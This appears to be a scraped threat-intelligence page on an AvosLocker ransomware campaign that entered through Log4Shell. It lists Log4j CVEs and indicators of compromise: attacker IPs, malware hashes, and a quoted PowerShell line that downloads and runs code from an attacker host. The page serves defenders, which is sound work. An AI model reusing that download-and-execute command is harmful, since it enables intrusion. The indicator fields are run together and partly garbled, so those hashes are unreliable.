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Vulnerabilities mentioned

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CVEVulnerabilityCVSSEPSSSignalsPublished
CVE-2021-44228
JNDI Injection Remote Code Execution in Apache Log4j2 (Log4Shell)
10.0100%KEVRansomwarePoC ×9
KEV
CVE-2021-44832
Apache Log4j2 versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4) are vulnerable to a remote code execution (RCE) attack when…
6.698%
CVE-2021-45046
Remote Code Execution in Apache Log4j2 via Incomplete Log4Shell Fix
9.0100%KEVRansomwarePoC
KEV
CVE-2021-45105
Apache Log4j2 versions 2.0-alpha1 through 2.16.0 (excluding 2.12.3 and 2.3.1) did not protect from uncontrolled recursion from self-referential lookups
5.9100%

Indicators of compromise

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TypeIndicatorContext
ipv4176.113.115.1070db4819 URLs hxxp[://]45[.]136[.]230[.]191:4000/D234R23 IPs 176[.]113[.]115[.]107 45[.]136[.]230[.]191
ipv445.136.230.191: iex (New-Object SystemNetWebClient)DownloadString('http://45[.]136[.]230[.]191:4000/D234R23'); Two days later on March 6, the attack
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sha25648514e6bb92dd9e24a16a4ab1c7c3bd89dad76bef53cec2a671821024fadcb2ba2c2de40d6ed4791a3308897a01 Cobalt Strike artifacts smb.ps1 48514e6bb92dd9e24a16a4ab1c7c3bd89dad76bef53cec2a671821024fadcb2b 61239d726c92c82f553200ecbec3ac18d251902fb9ca4d4f52263c82374
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sha2567f0deab21a3773295319e7a0afca1bea792943de0041e22523eb0d61a1c155e23707DC77351dde129dba5e5aa978b9429ef3e09a95ebf127b46b Sliver 7f0deab21a3773295319e7a0afca1bea792943de0041e22523eb0d61a1c155e2 MimikatZ cac73029ad6a543b423822923967f4c240d02516fab34185c5
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sha256978dffa295ac822064ff6f7a6b6bc498e854f833d36633214d35ccce70db481943c54a83680c21d7cd49ca0f IIS Temporary Compressed Files.zip 978dffa295ac822064ff6f7a6b6bc498e854f833d36633214d35ccce70db4819 URLs hxxp[://]45[.]136[.]230[.]191:4000/D234R23 IPs 176[.]1
sha256cac73029ad6a543b423822923967f4c240d02516fab34185c59067896ac6eb99295319e7a0afca1bea792943de0041e22523eb0d61a1c155e2 MimikatZ cac73029ad6a543b423822923967f4c240d02516fab34185c59067896ac6eb99 29a3ae1d32e249d01b39520cd1db27aa980e646d83694ff078424bed60d
sha256cee38fd125aa3707dc77351dde129dba5e5aa978b9429ef3e09a95ebf127b46b3ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f cee38fd125aa3707DC77351dde129dba5e5aa978b9429ef3e09a95ebf127b46b Sliver 7f0deab21a3773295319e7a0afca1bea792943de0041e22523eb
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sha256e68f9c3314beee640cc32f08a8532aa8dcda613543c54a83680c21d7cd49ca0ff048e93b159e20cc3efbacdb68e3c1fb213324daf325268ccb71f6c3189 e68f9c3314beee640cc32f08a8532aa8dcda613543c54a83680c21d7cd49ca0f IIS Temporary Compressed Files.zip 978dffa295ac822064ff6f7a
sha256f2faa8a91840de16efb8194182bcfa9919b74a2c2de40d6ed4791a3308897a018ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0658d9 f2faa8a91840de16efb8194182bcfa9919b74a2c2de40d6ed4791a3308897a01 Cobalt Strike artifacts smb.ps1 48514e6bb92dd9e24a16a4ab1c7
sha256ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45feries on this threat, click here and here . IoCs AvosLocker ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f cee38fd125aa3707DC77351dde129dba5e5aa978b9429ef3e09a95ebf12

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In a recent customer engagement, we observed a month-long AvosLocker campaign. The attackers utilized several different tools, including Cobalt Strike , Sliver and multiple commercial network scanners. The initial ingress point in this incident was a pair of VMWare Horizon Unified Access Gateways that were vulnerable to Log4Shell .

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